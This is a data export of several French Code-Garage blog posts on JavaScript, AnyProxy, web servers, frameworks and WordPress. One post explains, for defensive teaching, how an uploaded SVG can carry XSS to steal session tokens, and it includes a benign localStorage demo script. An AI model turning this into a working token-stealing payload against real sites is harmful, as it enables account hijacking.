dynamique, son principe de référence par défaut et son absence de compilation**.\n\nUn jour, alors que nous venions d'adhérer au club programmation de mon IUT (car oui, programmer la journée ne suffisait pas) monté par l'un des professeurs les plus captivant de l'établissement, ce dernier se mit comme objectif de nous montrer pourquoi **ce langage est unique**.\n\nDepuis ce jour j'ai commencé à expérimenter en Javascript, d'abord pour ajouter quelques interactions, puis pour faire appel à mes webservice afin de rendre mes pages dynamiques, puis sont arrivés les frameworks modernes et **je ne l'ai plus jamais quitté**.\n\nIci **j'ai essayé de regrouper tous mes articles parlant de Javascript** si, tout comme moi, ce langage vous passionne, ainsi que quelques articles externes que je trouve particulièrement intéressants !\n\n## Le Javascript en pratique\n\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2020/07/bailey-zindel-NRQV-hBF10M-unsplash.jpg)Electron, ou comment développer des applications desktop en Javascript - Blog - Code-Garage](https://code-garage.fr/blog/electron-ou-comment-developper-des-applications-desktop-en-javascript-web/)\n:::\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2020/07/Sans-titre-1.jpg)Comment afficher du code sur un site web avec highlight.js et la balise \u003Cpre> - Blog - Code-Garagea](https://code-garage.fr/blog/comment-afficher-du-code-sur-un-site-web-avec-highlight-js-et-la-balise-pre/)\n:::\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2020/06/danielle-macinnes-IuLgi9PWETU-unsplash.jpg)Le jour où j’ai essayé de recréer la vie en Javascript - Blog - Code-Garage](https://code-garage.fr/blog/le-jour-ou-jai-essaye-de-recreer-la-vie-en-javascript/)\n:::\n\n## NodeJS\n\nEn 2015 je découvre NodeJS, et c'est à ce moment-là que je comprends qu'**il ne suffit pas de connaitre un langage, mais il faut aussi connaitre ses différents environnements d'exécution** et leurs spécificités.\n\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2020/07/neonbrand--Cmz06-0btw-unsplash.jpg)Non, NodeJS n’est pas un langage ! - Blog - Code-Garage](https://code-garage.fr/blog/nodejs-n-est-pas-un-langage/)\n:::\n\nIl est aussi important de savoir jusqu'où peut aller l'intégration de cet environnement avec le système sur lequel il tourne, et pour celà, **rien ne vaut l'expérimentation** !\n\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2020/07/daniel-souza-xN62dYNQ2iY-unsplash.jpg)Comment j’ai écris un malware (à but éducatif) avec NodeJS en moins d’une heure ! - Blog - Code-Garage](https://code-garage.fr/blog/comment-jai-ecris-un-malware-a-but-educatif-avec-nodejs-en-moins-dune-heure/)\n:::\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2020/07/brett-jordan-MFLNpz5FZRk-unsplash.jpg)Comment exécuter une commande système ou un programme externe en NodeJS ? - Blog - Code-Garage](https://code-garage.fr/blog/comment-executer-une-commande-systeme-ou-un-programme-externe-en-nodejs-spawn-exec-child-process/)\n:::\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2020/08/max-gotts-uavjuxV48lk-unsplash.jpg)Monter un proxy configurable avec NodeJS en quelques minutes - Blog - Code-Garage](https://code-garage.fr/blog/monter-un-proxy-configurable-avec-nodejs-en-quelques-minutes/)\n:::\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2020/12/anne-nygard-SM8XB01NGjQ-unsplash.jpg)Comment passer d’une version de NodeJS à une autre avec NVM - Nicolas Brondin-Bernard](https://code-garage.fr/blog/comment-passer-facilement-dune-version-de-nodejs-a-une-autre/)\n:::\n\n## Pour aller plus loin\n\nJe suis récemment tombé sur cette série d'article par [Lydia Hallie](https://dev.to/lydiahallie) que je trouve très intéressants pour **comprendre le fonctionnement interne de Javascript, du moteur V8 mais aussi des Web API**.\n\nCes articles sont en anglais, mais **les schémas intéractifs concoctés par l'autrice sont vraiment clairs et faciles à comprendre**, alors bon appétit !\n\n::: bookmark\n[![](https://res.cloudinary.com/practicaldev/image/fetch/s--kRxN-sBc--/c_imagga_scale,f_auto,fl_progressive,h_500,q_auto,w_1000/https://thepracticaldev.s3.amazonaws.com/i/ek7ji4zrimozpp2yzk0a.png) JavaScript Visualized: Event Loop](https://dev.to/lydiahallie/javascript-visualized-event-loop-3dif)\n:::\n::: bookmark\n[![](https://res.cloudinary.com/practicaldev/image/fetch/s---2nHPf2g--/c_imagga_scale,f_auto,fl_progressive,h_500,q_auto,w_1000/https://thepracticaldev.s3.amazonaws.com/i/kaf11wh85tkhfv1338b4.png) JavaScript Visualized: Hoisting](https://dev.to/lydiahallie/javascript-visualized-hoisting-478h)\n:::\n::: bookmark\n[![](https://res.cloudinary.com/practicaldev/image/fetch/s--09d6P5K6--/c_imagga_scale,f_auto,fl_progressive,h_500,q_auto,w_1000/https://thepracticaldev.s3.amazonaws.com/i/i4jymvdb2vqc4m2wg5jm.gif)JavaScript Visualized: Scope (Chain)](https://dev.to/lydiahallie/javascript-visualized-scope-chain-13pd)\n:::\n::: bookmark\n[![](https://res.cloudinary.com/practicaldev/image/fetch/s--KcEQKTRR--/c_imagga_scale,f_auto,fl_progressive,h_500,q_auto,w_1000/https://thepracticaldev.s3.amazonaws.com/i/q0vxo5pcm6qjo14k0ami.png) JavaScript Visualized: the JavaScript Engine](https://dev.to/lydiahallie/javascript-visualized-the-javascript-engine-4cdf)\n:::\n::: bookmark\n[![](https://res.cloudinary.com/practicaldev/image/fetch/s--etAkmL6x--/c_imagga_scale,f_auto,fl_progressive,h_500,q_auto,w_1000/https://thepracticaldev.s3.amazonaws.com/i/yjxz6x93jaxk4wgmpnw5.png) JavaScript Visualized: Prototypal Inheritance](https://dev.to/lydiahallie/javascript-visualized-prototypal-inheritance-47co)\n:::\n::: bookmark\n[![](https://res.cloudinary.com/practicaldev/image/fetch/s--InuU9xgG--/c_imagga_scale,f_auto,fl_progressive,h_500,q_auto,w_1000/https://thepracticaldev.s3.amazonaws.com/i/6pba7yczwddtemu0cla2.jpeg) JavaScript Visualized: Generators and Iterators](https://dev.to/lydiahallie/javascript-visualized-generators-and-iterators-e36)\n:::\n::: bookmark\n[![](https://res.cloudinary.com/practicaldev/image/fetch/s--9yDAe7uC--/c_imagga_scale,f_auto,fl_progressive,h_500,q_auto,w_1000/https://dev-to-uploads.s3.amazonaws.com/i/lbkswjafvaeynxnrjuoq.png) JavaScript Visualized: Promises & Async/Await](https://dev.to/lydiahallie/javascript-visualized-promises-async-await-5gke)\n:::\n\n> J'espère que ce guide vous aura été utile, et à bientôt sur le blog !\n\n","Vous codez régulièrement en Javascript mais ce langage a encore des secrets pour vous ? Alors bonne lecture !","mieux-comprendre-et-utiliser-le-javascript","2020-08-06T06:51:45.000Z","2023-09-19T15:05:36.235Z","2020-08-06T07:34:51.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/08/ben-white-qYanN54gIrI-unsplash.jpg","Ben White sur Unsplash","https://unsplash.com/@benwhitephotography?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":539,"title":540,"content":541,"socialTitle":8,"description":542,"socialDescription":8,"slug":543,"createdAt":544,"updatedAt":545,"publishedAt":546,"styleHead":8,"scriptFooter":438,"seoTitle":8,"seoDescription":8,"legacyCover":547,"coverCopyright":548,"coverCopyrightLink":549},71,"Monter un proxy configurable avec NodeJS en quelques minutes","En 2019, j'ai travaillé sur un assistant de shopping pour la high-tech appelé Kalico, dont le but était d'être toujours à jour sur les nouvelles sorties téléphones, **mais aussi l'évolution de leur prix**.\n\nEn essayant de récupérer les prix grâce à **un crawler sur les pages des sites e-commerce**, je me suis vite heurté à un problème que je n'avais encore jamais rencontré. **Certains sites tentaient de détecter la localisation géographique de mon \"faux\" client** afin de lui indiquer si le produit pouvait être livré dans sa zone.\n\nProblème, mon api tournait sur un serveur Heroku, localisé en France, et lorsque j’essayai de crawler les liens des boutiques UK et US, **les produits étaient toujours indisponibles à l'envoi (logique) et refusait donc d'afficher le prix local**.\n\nMa solution fût donc de monter trois machines Amazon localisées en France, au Royaume-Uni et aux Etats-Unis afin d'y faire tourner **de simples proxies pour déjouer la localisation des plateformes**.\n\nAprès avoir testé plusieurs librairies Javascript, tournant sous NodeJS (dans le but de garder une infrastructure homogène), **j'ai découvert la solution complète, open-source et très facilement déployable : Anyproxy**.\n\n## Anyproxy\n\nAnyproxy est (comme son nom l'indique) **un proxy, entièrement configurable, développé et maintenu par le géant du e-commerce chinois : Alibaba**.\n\nL'installation se faire directement depuis npm et le démarrage du logiciel ne nécessite qu'une seule ligne de commande:\n\n```\n$ npm install -g anyproxy\n$ anyproxy\n```\n\n> Note : AnyProxy est configuré pour écouter par défaut sur le port 8001 (proxy) et 8002 (interface),  pensez à vérifier que vos port sont ouverts si vous êtes sur un serveur distant\n\nUne fois lancé, vous pouvez accéder à l'interface web sur votre [http://localhost:8002](http://localhost:8002) et commencer à faire passer des requêtes au travers de votre proxy !\n\n### Les spécificités d'AnyProxy\n\nAnyProxy est très configurable, notamment pour :\n\n* **La prise en charge de certificat SSL** et des requêtes https\n* **L'ajout de règles de routage spécifiques** à l'aide d'un simple fichier .js\n* **Être lancé à l'intérieur d'une application**, comme un module NodeJS classique\n\nPour apprendre à configurer votre proxy, je vous renvoie vers la documentation officielle : [http://anyproxy.io/en/](http://anyproxy.io/en/)\n\n> A noter que j'ai vu quelques morceaux de textes encore écrits en Chinois mais jamais dans la doc technique.\n\n### Sécurité\n\nSi vous laissez l'accès distant à votre proxy, je vous conseille fortement de **ne pas ouvrir le port de l'interface web en production** car il n'y a pas d'authentification.\n\nMais surtout, pensez à **ne jamais laisser tourner un proxy ouvert sans filtre**, je vous ai expliqué les possibles conséquences dans mon article \"[**Le jour où Amazon m'a mis la pression...**](https://code-garage.fr/le-jour-ou-amazon-ma-mis-la-pression/)\", la solution la plus simple est d'ajouter une règle d'authentification comme ci-dessous :\n\n```\n\n//rule.js\nmodule.exports = {\n // introduction\n summary: 'Authentication',\n // intercept before send request to server\n beforeSendRequest(requestDetails) {\n console.log(requestDetails.requestOptions.headers);\n if(requestDetails.requestOptions.headers.authorization !== 'Basic test:token'){\n return {\n response: {\n statusCode: 401,\n header: { 'content-type': 'text/html' },\n body: 'You are not authorized to use this proxy'\n }\n };\n }\n return {};\n }\n};\n\n```\n\nPour activer cette règle, il ne vous reste plus qu'à relancer AnyProxy avec un paramètre --rule comme ci-dessous !\n\n```\n$ anyproxy --rule ./rule.js\n```\n\n","Vous cherchez un proxy en NodeJS facile à déployer, configurable et open-source ? Je vous présente AnyProxy !","monter-un-proxy-configurable-avec-nodejs-en-quelques-minutes","2020-08-07T06:01:31.000Z","2023-09-19T15:05:36.264Z","2020-08-07T07:08:46.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/08/max-gotts-uavjuxV48lk-unsplash.jpg","Max Gotts sur Unsplash","https://unsplash.com/@maxgotts?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":551,"title":552,"content":553,"socialTitle":8,"description":554,"socialDescription":8,"slug":555,"createdAt":556,"updatedAt":557,"publishedAt":558,"styleHead":8,"scriptFooter":438,"seoTitle":8,"seoDescription":8,"legacyCover":559,"coverCopyright":560,"coverCopyrightLink":561},72,"Qu'est-ce qu'un serveur web ?","Lorsque l'on entend le mot \"serveur\", il est parfois difficile de comprendre exactement de quoi on parle en tant que débutant, car oui, **un serveur peut désigner à la fois une machine ou un logiciel, ce qui provoque une certaine confusion lorsque l'on débute.**\n\nPremière chose : **Lorsque l'on parle de serveur web, on parle de la partie software**, du logiciel, et non pas de la machine !\n\n## Un serveur web simple\n\nJe ne vais pas expliquer en profondeur comment fonctionne le web, mais pour comprendre le rôle d'un serveur web, il faut connaitre **ses deux technologies primaires** :\n\n**Le protocole HTTP** (HyperText Transfert Protocol) et **le langage HTML** (HyperText Markup Language).\n\n**Le web s'est construit sur ces deux technologies**, en plus du réseau Internet mais que je n'évoquerais pas ici.\n\n> Si l'histoire d'Internet vous intéresse, je vous invite à lire [mon article à ce sujet](https://code-garage.fr/blog/quelles-sont-les-origines-d-internet-arpanet/) !\n\nLe web primaire fonctionne donc comme ceci : **Un visiteur demande une ressource** en envoyant une requête HTTP (ex: GET https://example.com) et **reçoit en retour la ressource demandée sous la forme d'un document HTML**.\n\nEn définitive, on appelle un serveur web tout logiciel capable de recevoir et d'interpréter **une requête HTTP afin de retourner une réponse qui contiendra un document HTML**.\n\nMême si aujourd'hui un serveur web est aussi capable de renvoyer d'autres fichiers comme des images, des vidéos, du son ou même des données brutes, **ce sont des fonctionnalités supplémentaires sans lesquels on parle quand même de serveur web**.\n\n> Attention, il ne faut pas confondre la fonction du serveur web et des scripts serveurs, écris par exemple en PHP !\n\nOn utilise PHP pour scripter le comportement du serveur afin que les données renvoyées soient dynamiques, mais **la partie logicielle qui gère les requêtes entrantes reste le serveur web** (Apache par exemple), **qui les transfert à PHP qui se chargera d’exécuter les scripts voulus**.\n\n## Quel langage pour développer un serveur web ?\n\n \nIl est bien sûr possible d'écrire un serveur web avec la majorité des langages de programmation, **la seule contrainte étant d'être en mesure d'ouvrir une connexion TCP/IP (sur laquelle le protocole http est basé) et d'écouter dessus**.\n\n> Il est même possible d'écrire un serveur web pour le coup entièrement en PHP par exemple, comme expliqué dans cet article : [http://station.clancats.com/writing-a-webserver-in-pure-php/](http://station.clancats.com/writing-a-webserver-in-pure-php/)\n\n**En général on privilégie les langages bas-niveaux pour leur performance,** c'est d'ailleurs pour cela qu'Apache et Ngnix sont écrits en C, mais on trouve aussi des serveurs écrits en Java (comme Tomcat) ou même en Javascript grâce à NodeJS.\n\n_**A noter qu'ExpressJS n'est pas un serveur web** mais un \"framework\" d'applications web basé sur le module \"http\" fourni en NodeJS et grâce auquel il est possible de monter un serveur web basique en quelques lignes de code comme ceci:_\n\n```\nconst http = require('http');\nlet server = http.createServer(function(request, response){\n\tresponse.writeHead(200, {'Content-Type': 'text/html'});\n response.end('');\n});\nserver.listen(80);\n```\n\n**Vous aurez donc compris qu'il est possible de monter un serveur web avec n'importe quel langage !**\n\n> A noter qu'encore aujourd'hui, **plus de 80% des sites disponibles sur le web sont hébergés sur des serveurs Apache ou Ngnix** et que NodeJS ne représente que 0.1% des sites web.\n\n## En plus !\n\n### \"Est-ce qu'un serveur web doit forcément être relié à Internet ?\"\n\nNon, en fait parler de \"serveur web\" est une déformation, **nous devrions plutôt parler de serveurs HTTP**, la dénomination d'Apache est d'ailleurs celle-là : \"The _Apache HTTP Server_ Project\".\n\n### \"Un serveur qui renvoie toute sorte de fichier suite à une requête http est-il forcément un serveur web ?\"\n\nNon, **ça peut être tout simplement d'un serveur de fichier** (comme [Samba](https://en.wikipedia.org/wiki/Samba_(software)) par exemple), on attend d'un serveur web qu'il renvoie les fichiers avec les bonnes en-têtes et [les types MIME](https://en.wikipedia.org/wiki/Media_type) qui permettront au navigateur (ou client) web de les interpréter de la bonne manière (affichage, ou téléchargement par exemple).\n\n### \"Pourquoi parle-t'on de serveur ?\"\n\nLe terme vient de l'anglais \"to serve\" qui correspond au verbe \"servir\" (et non pas \"serveur\" qui se dit \"waiter). Il y aurait une corrélation entre le fait que l'**on envoie des demandes (comme des tickets) et que l'on doive attendre le retour de nos demandes les unes après les autres** (pas forcément dans le bon ordre d'ailleurs).\n\n","Non PHP n'est pas un serveur web, et NodeJS non plus ! Pour bien comprendre, nous allons parler d'un serveur web ultra-simplifié.","qu-est-ce-qu-un-serveur-web","2020-08-10T11:17:51.000Z","2023-09-22T08:25:34.254Z","2020-08-10T13:42:45.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/08/bimo-luki-mwHzM7qB7vk-unsplash.jpg","Bimo Luki sur Unsplash","https://unsplash.com/@bimoluki02?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":563,"title":564,"content":565,"socialTitle":8,"description":566,"socialDescription":8,"slug":567,"createdAt":568,"updatedAt":569,"publishedAt":570,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":571,"coverCopyright":572,"coverCopyrightLink":573},73,"Bibliothèque vs Framework, quelle est la différence ?","Parfois pendant un entretien, **une seule question peut faire pencher la balance en votre faveur**. Non pas qu'une mauvaise réponse puisse vous éliminer, mais disons plutôt qu’**une bonne réponse peut vous donner l'avantage** par rapport à un autre candidat.\n\nCette question en fait partie, et même **certains développeurs expérimentés ne savent pas** correctement y répondre correctement !\n\n## Alors, quelle est la différence ?\n\nSouvent, on a le droit à une collection de réponses tentées au hasard comme :\n\n* “C'est la même chose, on peut utiliser les deux mots”\n* “Framework c'est l'anglais pour bibliothèque”\n* “Il y a une différence de taille, le framework est beaucoup plus gros”\n\n**Ou encore :**\n\n* “Un framework est un ensemble de bibliothèques qui fonctionnent ensemble”\n\nOn pourrait presque croire que la vraie définition se cachent là-dedans, du moins certains pourraient faire illusion dans une discussion de tous les jours.\n\n## La réponse\n\nMais la vraie réponse, celle notamment attendue en entretien est différente, en voilà une version simple et rapide :\n\n**“Le développeur utilise une bibliothèque en appelant le code de cette dernière, tandis que le rôle du framework est d’exécuter le code du développeur”**\n\nEt oui, leur fonctionnement est **presque l'inverse l'un de l'autre** !\n\nEn français, on traduit le mot framework par “**cadre applicatif**”, car c'est son but, il donne un cadre, **une organisation**, un squelette, **une méthode de travail**. Tandis que la librairie, elle, n'offre que **des fonctionnalités souvent décorrélées les unes des autres.**\n\nAttention néanmoins car même si **cette définition est valide**, le mot framework étant plus attractif et synonyme de sérieux, **tous les outils se déclarent comme étant des “framework” même si leur fonctionnement ressemble plutôt à celui d'une bibliothèque.**\n\nPar exemple on parle toujours de **React** comme étant un framework alors que **c'est en fait une librairie** dont on va devoir **appeler manuellement la fonction render()**. Voilà quelques exemples de “vrais” frameworks basés sur des librairies que tu connais sûrement.\n\n**Bibliothèque vs Framework :**\n\n* React vs **NextJS**\n* VueJS vs **NuxtJS**\n* ExpressJS vs **NestJS**\n* AngularJS vs **Ionic**\n\n> Si vous vous rendez sur la page d'accueil de chacune des librairies à gauche, vous verrez pourtant qu'ils se vendent chacun comme étant des frameworks, mais maintenant vous saurez dénicher la supercherie !\n\n_**Si vous souhaitez des informations plus poussées, vous pouvez consulter ce petit article sur le blog d'Oreilly** expliquant pourquoi React est une librairie (en anglais) :_ [_https://www.oreilly.com/library/view/what-react-is/9781491996744/ch01.html_](http://em.getrevue.co/ss/c/LO0al2iZd_602oATwtW9GgNuJ3MiMBcs3U4ZtiNE-dVng2GQzgaibwvwiOKN7JLs_E12jrDq9ffkgagbwiAhu4Wp9AhdJmGLIbx0JNAfrNEblKlTismztM-K4iH7ENqaWu_AajbUa5xXTRvKdUQvfCYyiIR6DFsAscEyiHEj5P2QJ9-D5G4za9pgsEzYc_vwVAv8YoPM4MhhvYpPZvNt-u2LC8cLWAnqCNEJ8of2J2OxIOZ6OcX1RNQGfhh99Evk6N01xE71D847h1Kd0hrklg/33h/_u5qv17LT-SuW6mFL5Ci3Q/h3/HUkMuBHLF8p_UiUkmhLRLSAAN3XQnn4HK22wc2hLCRs)\n\n::: bookmark\n[![](https://learning.oreilly.com/library/cover/9781491996744/360h/)What React Is and Why It Matters](https://www.oreilly.com/library/view/what-react-is/9781491996744/ch01.html)\n:::\n\n","Est-ce la même chose, un framework est-il simplement une grosse librairie ? Découvrons ça ensemble.","librairie-vs-framework-quelle-est-la-difference","2020-08-11T06:24:04.000Z","2023-09-19T15:05:36.322Z","2021-07-07T06:55:00.000Z","https://cellar-c2.services.clever-cloud.com/content/2021/07/outcast-india--3WnFnY5G_Y-unsplash-1.jpg","Outcast India sur Unsplash","https://unsplash.com/@outcast_india?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":575,"title":576,"content":577,"socialTitle":8,"description":578,"socialDescription":8,"slug":579,"createdAt":580,"updatedAt":581,"publishedAt":582,"styleHead":8,"scriptFooter":583,"seoTitle":8,"seoDescription":8,"legacyCover":584,"coverCopyright":585,"coverCopyrightLink":586},74,"Pourquoi les svg peuvent être dangereux ?","Vous connaissez forcément le svg, **ce format d'image vectorielle destiné à afficher des images qui ne seront jamais pixelisées car dessinées grâce à du code** (souvent générées depuis un logiciel comme Adobe Illustrator).\n\nCe format est désormais très courant, supporté partout et pourtant **il peut représenter une faille de sécurité importante** sur vos sites et applications web.\n\n## Mais alors quelle est cette faille ?\n\nLe problème du svg est que dans l'inconscient collectif **il est désormais considéré comme une simple image**, même sans être un tableau de pixels. Pourtant **il faut toujours garder en tête qu'un fichier svg ne contient rien d'autre que du code XML** !\n\nEt quel est le langage compatible avec l'XML qui est interprété par votre navigateur ? Le HTML ! Et je ne vais pas vous faire l'affront de vous rappeler que **quand on peut écrire du HTML, on peut aussi y écrire du Javascript !**\n\n> Bingo, grâce à notre simple fichier svg on a tout ce qu'il nous faut pour créer **une faille XSS** !\n\n## Comment exploiter cette faille ?\n\nL'une des particularité du svg est **son type MIME qui correspond à celui d'une image classique** soit : image/svg+xml\n\n> Le type MIME est un standard qui permet d'indiquer la nature et le format d'un document, c'est ce qu'utilise le navigateur pour savoir comment afficher une ressource, et non pas simplement l'extension du fichier.\n\nImaginons un site web qui permettrait à ses utilisateurs d'uploader une image en tant que photo de profil, c'est plutôt courant. Si le serveur se cantonne simplement à **vérifier si le type MIME du document envoyé correspond à \"image/\\*\", alors il laissera passer le fichier SVG sans problème**.\n\n> Le serveur sera donc en mesure de fournir un code non-désiré à tous ses utilisateurs !\n\nHeureusement, **les attributs src et background-image n'exécutent pas le code injecté dans un svg**, mais il reste une solution pour qu'un utilisateur exécute le code caché dans l'image.\n\n**Il suffit d'insérer le lien de sa photo de profil ailleurs sur le site**, et si un utilisateur clique dessus, l'image s'ouvrira directement dans le navigateur.\n\n> Et que se passe-t'il ?\n\nLorsqu'une image svg est ouverte directement par le navigateur, **tout le code contenu à l'intérieur est exécuté !**\n\nEn voilà un exemple, avec cette image hébergé sur mon blog et un lien pour l'ouvrir, ne vous inquiétez pas, vous ne risquez rien, vous voyez, c'est un simple fichier image ;)\n\n[https://blog.nicolas.brondin-bernard.com/content/2020/08/geek-8.svg](https://code-garage.fr/content/2020/08/geek-8.svg)\n\n> Mais quel est le danger si le code est exécuté sur une autre page ?\n\nLe problème réside dans le fait que le code frauduleux s'exécute dans une autre page certes, **mais quand même sous votre nom de domaine** !\n\nEt qu'est-ce qui est accessible uniquement depuis le domaine du site ? **Les cookies et le local storage bien sûr !**\n\n> Donc si j'ai un utilisateur connecté et que je clone son token de connexion pour l'envoyer à mon serveur grâce au bout de code contenu dans mon image, je pourrai me connecter à sa place !\n\n## Comment s'en prémunir ?\n\nÉvidemment le meilleur moyen est d'**empêcher les utilisateurs de mettre en ligne des fichiers svg** sur votre plateforme tout simplement, mais aussi de **ne pas ajouter soi-même des images svg venant de sources non-fiables**.\n\nSi c'est une fonctionnalité indispensable pour votre site, **il faudra nettoyer le code du fichier svg pour enlever tout le code html et javascript** avant de l'enregistrer sur le serveur !\n\n","Saviez-vous que les fichiers svg n'étaient pas de simples images ?","pourquoi-les-svg-peuvent-etre-dangereux","2020-08-12T06:19:08.000Z","2023-09-19T15:05:36.351Z","2020-08-12T08:05:04.000Z","\u003Cscript type=\"text/javascript\">\n localStorage.setItem(\"xss_example\",(new Date()).getTime());\n\u003C/script>","https://cellar-c2.services.clever-cloud.com/content/2020/08/sandeep-swarnkar-asytdeogTDE-unsplash.jpg","Sandeep Swarnkar sur Unsplash","https://unsplash.com/@sandeeep?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":588,"title":589,"content":590,"socialTitle":8,"description":591,"socialDescription":8,"slug":592,"createdAt":593,"updatedAt":594,"publishedAt":595,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":596,"coverCopyright":597,"coverCopyrightLink":598},76,"Faut-il bannir les CMS comme Wordpress en tant que développeur web ?","> “Développer un site sous Wordpress, c'est pas vraiment du développement web”\n\nVous avez forcément entendu cette phrase dans une discussion entre développeurs, et **vous avez même peut-être pensé la même chose**. Pourtant cette phrase est complètement à côté de la plaque et sa seule conséquence est de mettre de fausses idées dans la tête des jeunes développeurs.\n\n_Voilà pourquoi il faut la faire disparaitre._\n\nLorsque l'on débute dans le développement, **on a envie de tout apprendre, de tout expérimenter et de tout faire soi-même**, si bien qu'on en oublie vite l'objectif premier du développeur web : **Résoudre les problèmes de ses clients en mettant en place des solutions techniques qui correspondent aux besoins de ce dernier.**\n\nEt même si en tant que développeur junior **vous aimeriez pouvoir faire ce site vitrine de A à Z pour vous entrainer**. Même si vous êtes prêt à vous donner corps et âme pour développer un back-office et permettre à votre client de pouvoir modifier le contenu de son site en autonomie...\n\n> Ce n'est pas toujours une bonne idée.\n\n## Le syndrome du \"from-scratch\"\n\nTout faire de A à Z est une superbe manière d'apprendre, mais il faut faire **attention de ne pas tomber dans la facilité** ; et par \"facilité\" **je ne veux pas dire la simplicité** mais plutôt le fait de fait de rester dans zone de comfort.\n\n**Oui, apprendre une nouvelle technologie ou un nouvel outil est un investissement en temps mais surtout en puissance de cerveau**, et il n'est pas rare de préférer s'éviter cet effort en faisant tout à la main, avec les technologies que l'on maîtrise déjà.\n\n**Mais il ne faut pas réinventer la roue** et même si tous les CMS existants ont leurs propres failles, leurs courbes d'apprentissage plus ou moins rapides, je vous invite à les découvrir.\n\nEn 2020, environs 30% des sites web fonctionnent sous Wordpress, alors j'aurais presque envie de dire :\n\n> \"Peut-on être un développeur web en ignorant comment fonctionne un tier des sites mondiaux ?\"\n\nCe serait chercher la petite bête, et en même temps **que dirais-t'on à un mécanicien auto qui ne connaitrait pas le fonctionnement d'un moteur diésel** **?**\n\nCet article n'est pas un plaidoyer en faveur de Wordpress, mais un conseil issu de ma propre expérience : **ne vous fermez pas à ces outils-là.**\n\nLe rôle d'un bon développeur n'est pas de tout savoir coder en un clin d’œil, mais aussi d’arriver à **trouver, évaluer et déployer des solutions déjà existantes et suffisamment complètes pour combler les besoins de son client**.\n\nEt même si vous rêvez un jour de développer votre propre CMS, votre propre plateforme e-commerce ou que sais-je, rien ne vaut de tester les solutions existantes, d’avoir joué avec afin **de connaitre leurs points forts et leurs points faibles pour pouvoir s'en inspirer**.\n\n> Avant de vouloir modifier les règles du jeu, il faut d'abord les connaitre.","CMS or not CMS ? That is the question !","faut-il-bannir-les-cms-comme-wordpress-en-tant-que-developpeur-web","2020-08-24T16:13:07.000Z","2023-09-22T13:39:13.088Z","2020-08-24T16:55:22.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/08/fikret-tozak-Zk--Ydz2IAs-unsplash-1.jpg","Fikret tozak sur Unsplash","https://unsplash.com/@tozakfikret?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":600,"title":601,"content":602,"socialTitle":8,"description":603,"socialDescription":8,"slug":604,"createdAt":605,"updatedAt":606,"publishedAt":607,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":608,"coverCopyright":609,"coverCopyrightLink":610},80,"[Guide] Un peu de théorie de l'informatique pour développeurs juniors !","Pour beaucoup de gens la théorie a une image barbante tandis que la pratique reste fun. Personnellement je suis persuadé que c'est elle qui fait toute la différence, et un développeur qui comprend vraiment l'environnement technique qui l'entoure a déjà une longueur d'avance.\n\nJ'ai regroupé dans ce guide tous les articles dans lequel je parle de théorie, ce qu'il y a à savoir sur les sujets comme le web, les bases de données et l'informatique en général.\n\n## Web & Internet\n\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2021/07/1968_NCO_Computer_Operator.jpg)Quelles sont les origines d’Internet ? - Blog - Code-Garage](https://code-garage.fr/blog/quelles-sont-les-origines-d-internet-arpanet/)\n:::\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2021/01/chuttersnap-fyaTq-fIlro-unsplash.jpg)TCP/IP : qu’est-ce que c’est et comment ça fonctionne ? - Blog - Code-Garage](https://code-garage.fr/blog/tcp-ip-comment-ca-fonctionne/)\n:::\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2020/08/bimo-luki-mwHzM7qB7vk-unsplash.jpg)Qu’est-ce qu’un serveur web ? - Blog - Code-Garage](https://code-garage.fr/blog/qu-est-ce-qu-un-serveur-web/)\n:::\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2021/05/chris-ried-bN5XdU-bap4-unsplash-1.jpg)Comment fonctionne un navigateur web - Blog - Code-Garage](https://code-garage.fr/blog/comment-fonctionne-un-navigateur-web-version-technique/)\n:::\n\n## Informatique générale\n\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2021/07/outcast-india--3WnFnY5G_Y-unsplash-1.jpg)Bibliothèque vs Framework, quelle est la différence ? - Blog - Code-Garage](https://code-garage.fr/blog/librairie-vs-framework-quelle-est-la-difference/)\n:::\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2021/02/luca-laurence-vhQ4BTH6mj4-unsplash.jpg)Quelles sont les différences entre une API et un SDK ? - Blog - Code-Garage](https://code-garage.fr/blog/quelles-differences-entre-api-et-sdk/)\n:::\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2021/05/vintage-648120_1920-1.jpg)Pourquoi l’aléatoire n’existe pas en informatique ? - Blog - Code-Garage](https://code-garage.fr/blog/pourquoi-aleatoire-n-existe-pas-en-informatique/)\n:::\n\n## Base de données\n\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2022/03/jubal-kenneth-bernal-uvdhVGaeem4-unsplash.jpg)Stocker des données dans un fichier ou une BDD ? - Blog - Code-Garage](https://code-garage.fr/blog/stocker-des-donnees-dans-un-fichier-ou-une-bdd/)\n:::\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2021/07/jaron-mobley-PkRS8ZahINM-unsplash.jpg)Base de données : Différences entre 